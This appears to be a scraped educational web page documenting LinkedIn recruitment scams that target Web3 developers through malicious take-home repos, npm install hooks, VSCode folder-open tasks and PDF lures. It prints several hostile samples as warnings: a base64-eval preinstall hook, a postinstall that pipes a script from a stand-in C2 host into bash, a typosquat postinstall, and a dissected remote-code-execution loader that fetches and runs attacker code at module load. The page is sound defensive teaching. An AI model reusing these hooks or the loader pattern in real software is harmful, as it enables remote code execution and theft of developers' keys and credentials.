Real-world documentation of sophisticated "long-con" recruitment scams targeting Web3 & fullstack developers on LinkedIn. Eight documented cases — six confirmed, one under active investigation, one illustrative.
Run this before responding to ANY unsolicited recruiter message
kurulabs.org vs the real domain).
Verify via official
social media.
Every real name on this page stays fully visible in the case studies below — full disclosure
is the point of a teaching page like this. But the attackers behind Case #6 tried the opposite:
they backdated 194 commits by three months, forged a real Uniswap developer's email onto them,
and let a fabricated commit history stand in for the honest record. It didn't hold up — the
repo's own created_at timestamp
outed the whole timeline as fiction. Tap the entry below to see what their forged commit log
claimed, versus what the GitHub API actually recorded:
The claimed author date is real — it's just three months before
the repo (and the org that hosts it) existed. Git commit dates are just fields in a file; anyone
can set them to anything with git commit --date=.
What can't be forged as easily is the platform's own server-side record of when things actually
happened — which is exactly what cracked this case open. See Case #6 for the full evidence chain.
Eight attack campaigns — seven real, one illustrative — documented from first contact to full analysis. Click Deep Dive for technical details.
"Contagious Interview" — npm preinstall malware
staufenbiel89/dtm
Professional PDF + secondary malicious coding task
Brand hijacking of a legitimate Web3 project
LinkedIn redirect wrapper hides the real destination of a Google Doc lure
Illustrative example — supply-chain wallet drainer via misspelled npm install
Remote-code-execution backdoor hidden in a stolen sniper-bot, disguised as a hiring take-home
nitroe1/TokenPromotingDapp
npm start
Impersonation of a confirmed, funded, real Web3/AI project
Real-time transcript: pre-hired framing → 24-hour take-home pressure
Aged-account takeover, not fabrication — reading the LinkedIn metadata
All three accounts predate LinkedIn's IPO. Two carry genuine verification badges — but a badge is a snapshot, not a live guarantee, and the real mutual connections riding a taken-over account are exactly what make it convincing.
APOM-DAPP Project Description — vetted safe for analysis
acroipm2.adobe.com
✓
a1672.dscr.akamai.net
✓
Adobe Acrobat IPM & CDN. Normal for a PDF opened in Acrobat.
8.8.8.8Google DNS52.5.13.197AWS/Adobe23.195.81.59/73Akamai184.29.30.201Akamai23.39.148.131AkamaiAll US-based Adobe/Akamai infrastructure.
PDF reader temp/cache. No .exe, .dll, or .ps1. In a malicious file, look for .exe/.dll here ⚠️
This specific PDF contacted only Adobe's own servers — standard Acrobat behavior. In a malicious PDF, these same fields would show C2 server connections, dropped .exe files, and shell command execution. Learn what normal looks like so you can spot abnormal.
Practical steps to neutralize each attack vector
Preview has zero JavaScript support. /OpenAction and /JS scripts simply don't run. Never open unsolicited PDFs in Adobe Acrobat.
Run ALL technical tests with no host volume mounts and no env vars passed in. GitHub Codespaces = instant browser-based sandbox with zero access to your local machine.
Before opening a cloned repo in VSCode, check for .vscode/tasks.json. A runOn: folderOpen task executes before you run any code.
Before any technical work, request a 15-min video call. Real recruiters welcome it. Bots and scam ops ghost immediately or cite camera problems.
Independent research confirms the same playbooks documented above, at scale, across the industry
Sources cited for educational cross-reference. Verify current figures independently before citing elsewhere — scam-loss statistics are updated frequently by their originating research organizations.
git clone https://github.com/staufenbiel89/dtm.gitnpm install → preinstall hook fires immediatelyThe preinstall/postinstall hooks run with your full user permissions the instant you type npm install — before you've inspected a single dependency:
// 🚩 MALICIOUS — what to look for: "scripts": { "preinstall": "node -e 'eval(Buffer.from(\"BASE64==\",\"base64\").toString())'", "postinstall": "curl https://c2-server.xyz/payload.sh | bash" } // ✅ LEGITIMATE — what safe scripts look like: "scripts": { "build": "webpack --config webpack.config.js", "test": "jest --coverage" }
These repos include a hidden .vscode/tasks.json that fires before you run any code — just opening the folder in VSCode is enough:
// .vscode/tasks.json { "version": "2.0.0", "tasks": [{ "label": "setup", "type": "shell", "command": "node errorHandler.js", "runOptions": { "runOn": "folderOpen" } }] }
Initial DM from "Jacinta Stewart"
Profile deactivated after reporting
package.json first.vscode/tasks.json before opening in VSCodedocker run --rm -it node:lts shPDFs are not just documents — they're containers for code. Adobe Acrobat supports a full JavaScript engine with filesystem and network access. A PDF can silently execute code the moment it opens.
/OpenAction
/JS
Confirmed fraudulent assignment
Initial outreach from "Josépha Russe"
PDF pitch details
Follow-up details and next steps
Code test assessment invitation
Additional evidence
"Hi Christopher,
Came across your work — really liked your fullstack experience, especially in Web3/DeFi.
We're building a DeFi startup focused on trading infrastructure (AMM, aggregation, perps, and AI-driven strategies)..."
| Signal | ✅ Real Kuru Labs | 🚩 Impersonator |
|---|---|---|
| Presence | Active on Monad, verified funding | Genusix Labs shell co. (VA) |
| Outreach | Official channels / verified founders | 3rd-degree DMs + cold email blast |
| First step | Standard technical interview | "Book HR first" via Calendly |
| Domain | Official verified domain | kurulabs.org + genusix.com |
"Daniel Perez Valdes" reached out via LinkedIn as a recruiter for a Web3 role. He shared a mutual connection with the target's own Web3 development instructor — a real relationship that lent the outreach credibility. He sent a link to github.com/nitroe1/TokenPromotingDapp, described as an MVP to review before an interview. The repo's front page showed a clean VirusTotal community score. That was the entire trust chain — a real mutual connection, a plausible ask, a clean scan. None of it held up under audit.
frontController.jsBuried inside an otherwise-normal-looking Uniswap mempool scanner, a function called verifyToken() fires unconditionally the moment the module loads. In plain terms: it fetches attacker-controlled code from a private Google Doc and runs it — automatically, the instant you start the app.
// frontController.js — runs at module load, i.e. on npm start async function verifyToken(req, res) { try { const text = await fetchText(); // fetches a Google Doc const decd = dcpayload(text); // base64-decode it const code = extractRunnableJsFromDecoded(decd); new Function('axios', 'require', code)(axios, require); // ⚠️ RCE } catch (err) { /* ... */ } } verifyToken(); // ← called immediately at module load
Decode chain: fetchText() pulls a separate, private Google Doc the attacker controls → dcpayload() strips whitespace and base64-decodes it → normalized and unwrapped → new Function('axios','require', code)(axios, require) — a direct eval of attacker-controlled code, with axios (network/exfil) and require (load any module) handed to it in scope.
Because the payload lives in a Google Doc the attacker controls independently of the repo, they can change what your machine runs at any time — without touching the code again. The reach: your .env (API keys, any wallet private key you add per the README), browser/wallet data, and a pivot point to scan ~/.ssh and ~/.aws.
Underneath the backdoor sits a working front-runner: scanMempool, buyOnV3, sell — which requires handing it new ethers.Wallet(amountInfo), where amountInfo is a private key read straight from environment. So running this repo means: (a) your wallet key hot-loaded into a live trading bot, and (b) arbitrary remote code execution the instant the module loads. Package router constants (PAN_ROUTER) and comments referencing "BNB/WBNB" reveal the bot was originally built for PancakeSwap/BSC and rebranded to read "Uniswap" — this is stolen code, not an original MVP. Leftover debugging comments referencing goerli.etherscan.io tx hashes confirm it: another developer's template, repackaged.
| # | Finding | Source |
|---|---|---|
| 1 | Org + repo both created Aug 12, 2026 — org 29 seconds before the repo — yet the page shows "194 commits," last dated 3 months earlier (May 13, 2026) | GitHub API created_at timestamps |
| 2 | Sole listed contributor is a real Uniswap developer's account — but the commit dates predate the repo's own creation. Spoofed authorship. | Contributor + commit-date cross-check |
| 3 | RCE backdoor — verifyToken() at module load, full chain confirmed above |
Direct source review, frontController.js |
| 4 | Sniper/front-runner bot requiring a wallet private key; PancakeSwap→Uniswap rebrand; leftover debugging links from another developer | Source + file tree review |
| 5 | Every one of the 194 commits: verified:false, signature_present:false |
Commit-verification API |
| 6 | README describes a clean "token voting/tiers dapp"; the job posting itself calls it a "trading and promoting platform" — matching the hidden bot, not the front-facing README | README vs. job description comparison |
| 7 | License mismatch across four sources (see below) — traces to stolen code from a separate, unrelated real company | LICENSE file + package.json + GitHub API + UI |
Commit authorship spans three different names — one using a forged @uniswap.org-style email tied to a real Uniswap developer's public identity, plus two others. A fourth name appears only in package.json's author field — matching none of the commit authors, and unrelated to "Daniel" or the org name. The commit messages themselves are bot-templated nonsense — "Polish code in Tiers.js," "Update docs in Poppins-Regular.ttf," "Add UI in dextools_icon.svg" — you don't "polish code in" a font file. The entire 3-month commit history was fabricated with repo-aging tooling and pushed in minutes, all timestamped before the repository itself existed.
| Source | Claims |
|---|---|
| README | MIT |
| package.json | "license": "MIT" |
| GitHub API | NOASSERTION |
| Actual LICENSE file | Bespoke, non-transferable license granting rights exclusively to a Dubai-based real-estate tokenization company from a separate named licensor |
Four-way inconsistency, and the fourth one is the true provenance trail: the underlying code was lifted from a real, unrelated company's repository. That company and its named licensor are victims too — the attacker stitched together stolen code from multiple sources plus a backdoored sniper-bot template, then pasted a recruiter front on top.
npm start → node app/index.js → require('./controllers/frontController') executes the module top-to-bottom, hitting the unconditional verifyToken() call. RCE on startup, confirmed end to end. A 5-minute self-destruct timer fires after: boot, run the payload, exfiltrate, exit — before anyone notices the backend died.
// package.json "start": "npm run check-env && npm run app:pre | react-scripts ... start" "app:pre": "node app/index.js" // app/index.js const fController = require('./controllers/frontController'); // verifyToken() fires on require ... setTimeout(() => { exitApp(); }, 300000); // process.exit(0) after 5 minutes
The attacker's live payload document was not retrieved during this investigation. It wasn't needed — the exploitable code path is self-evident from the source alone — and fetching it would have landed in the attacker's access logs, tipping them off. Good forensic practice: gather enough to be certain, stop before you alert the target.
npm install or npm start against an unaudited take-home repo with any real credentials present, evergh api repo/org/commit endpoints reveal timestamp and signature truths that a rendered GitHub page hidesnpm install --save web3-react-modall — one stray lpostinstall script fires immediately; wraps window.ethereum.send with a transparent proxyA single-line postinstall hook is all it takes — it runs with full user permissions and needs no other trace in the codebase:
// 🚩 MALICIOUS — typosquat postinstall (runs with full user perms): "scripts": { "postinstall": "node -e 'require(\"./assets/setup.js\")'" } // ✅ LEGITIMATE — what safe scripts look like: "scripts": { "build": "webpack --config webpack.config.js", "test": "jest --coverage" }
homepage, or one that points to a generic URL (404, parked domain, or a copy of the original package's README)npm diff web3-react-modal web3-react-modall surfaces structural anomalies fastnode_modules/<pkg>/package.json scripts before adding to a project you care aboutnpm install --ignore-scripts for cold installs of unfamiliar packages; re-enable per-package only after review^ and ~ floating ranges for sensitive dependenciesevent-stream (2018): a popular flat-map utility; compromised via a maintainer hand-off. A malicious payload targeting a Bitcoin wallet library was published as a transitive dependency for ~2 months before discovery
ua-parser-js (2021): legitimate package hijacked via compromised maintainer credentials, mined cryptocurrency and stole credentials in installer environments
colors.js / faker.js (2022): maintainer-introduced compromise — broken releases were pushed to protest corporate use. No malware, but a vivid reminder that maintainer trust is a single point of failure
Primary sources: GitHub Advisory Database, Snyk vulnerability database. Verify before citing in your own materials.
npm audit ≠ safety. Check the package's DNA, not just its CVEscurl <remote> | bash equivalentLinkedIn rewrites outbound links through linkedin.com/safety/go?url=... for click tracking and its own safety scan. That means the visible, hoverable domain in a message is always linkedin.com — regardless of where it actually sends you. A link scanner, a coworker glancing at the URL, or a "domain reputation" check all see the wrapper's reputation, not the destination's.
Phishing Attachment IOC — according to source ArcSight Threat Intelligence — 2 years ago
Contextual Indicators: Domain is classified as Social Networking
Contextual Indicators: Cisco Umbrella rank 228 · Alexa rank 12 · popular worldwide
Classification Description: "Legitimate website which does not serve any malicious purpose."
Read that last line again: VirusTotal's own classification says the flagged domain is legitimate. The IOC is a stale, 2-year-old entry attached to linkedin.com itself — evidence the wrapper pattern has been abused by scammers historically, not that this specific message is malicious. It is not proof of compromise either way. Treat it as a prompt to check the real destination, not a verdict.
accounts.google.com, or a screen asks to grant a third-party app access to your Google account — stop and don't approve.
Initial outreach from "Daniel Perez Valdes"
LinkedIn-wrapped link to the pitch doc
VirusTotal IOC flag on the linkedin.com wrapper
VT's own "legitimate" classification detail
This case is not yet confirmed malicious. It's included because the pattern matches Case #3 closely enough to warrant caution and documentation. If it resolves to a legitimate hiring partner of Ritual, this card will be updated to reflect that — not deleted. Educational integrity over drama.
Ritual is a real, funded project building a "sovereign execution layer for AI." Infernet, its first product, is a live decentralized oracle network for off-chain AI workloads — confirmed via the official ritual.net blog, an active Greenhouse job board, and a Blockworks 0xResearch podcast interview with a founding member.
Initial outreach from "Joe Gump Linda Gump"
Ritual/Infernet pitch details
A real, fundable, legitimate project name is not proof the person contacting you represents it. Verify the messenger, not just the project — every time, even (especially) when the brand checks out on a quick search.
Justin Miller: "Thanks for sharing your impressive previous experience. After reviewing your background, we are pleased to inform you that you are a strong match for the current project we are developing... 1. Technical Assessment (Short-term home task) 2. Technical Interview... If you're interested in moving forward, please let me know when you would be available to complete the take-home assignment. We typically ask candidates to submit it within 24 hours of receiving it."
| Signal | Case #1 (Repo Trap) | Case #8 (This one) |
|---|---|---|
| Screening | Skipped — "already confident in your contribution" | Skipped — "strong match" after one portfolio link |
| Ask | Clone repo, "review the UI workflow" | Complete a take-home coding assignment |
| Pressure | Implicit — get you running npm install fast |
Explicit — 24-hour submission window |
This contact shares a mutual connection with someone the recipient trusts. That does not clear the account. Compromised or cloned profiles often ride on a victim's real connection graph specifically because it's what lowers defensive guard — a shared connection is social proof, not identity verification.
Initial outreach from "Justin Miller"
"Strong match" — zero technical screen
24-hour take-home submission pressure
A natural question after reading Cases #4, #7, and #8: how do these accounts pass every obvious "is this fake?" check — real mutual connections, years of history, even LinkedIn's own verification badges? The LinkedIn profile metadata for three of the personas on this page tells a consistent story:
| Persona | Joined LinkedIn | Verification on File |
|---|---|---|
| "Daniel Perez Valdes" | January 2008 | ING — verified via work email, Dec 2024 |
| "Justin Miller" | October 2008 | Identity — verified via government ID, June 2024 |
| "Joe Gump Linda Gump" | January 2012 | No verifications on file |
Every one of these accounts predates LinkedIn's own IPO. No one builds a 15-to-18-year-old account from scratch to run a single scam — these read as aged, real accounts that were compromised or acquired, not accounts fabricated for this campaign. That distinction matters for two reasons:
Aged, verified accounts are a known black-market commodity for exactly this reason — they clear every "new account" red flag a target might otherwise catch. If this reading is correct, the real people named "Daniel Perez Valdes" and "Justin Miller" are themselves likely victims of account takeover, the same way Eric Zhong's identity was spoofed onto forged commits in Case #6 — different mechanism, same underlying pattern: borrowing a real person's credibility without their knowledge.
a4c04694e8e703f30e64423d60148de58d7f6f9829f356f40acf9596b4442b57
pastebin.com, discord.com, or random C2 IPs.exe, .dll, .bat, or .ps1 files written to temp directoriescmd.exe or powershell.exe/OpenAction or /JS in the analysisVerdict: This specific file is safe for educational use. The behavior shown is standard Adobe Acrobat activity when opening a PDF. Use this report as your baseline for "normal" — anything significantly different warrants immediate investigation before proceeding.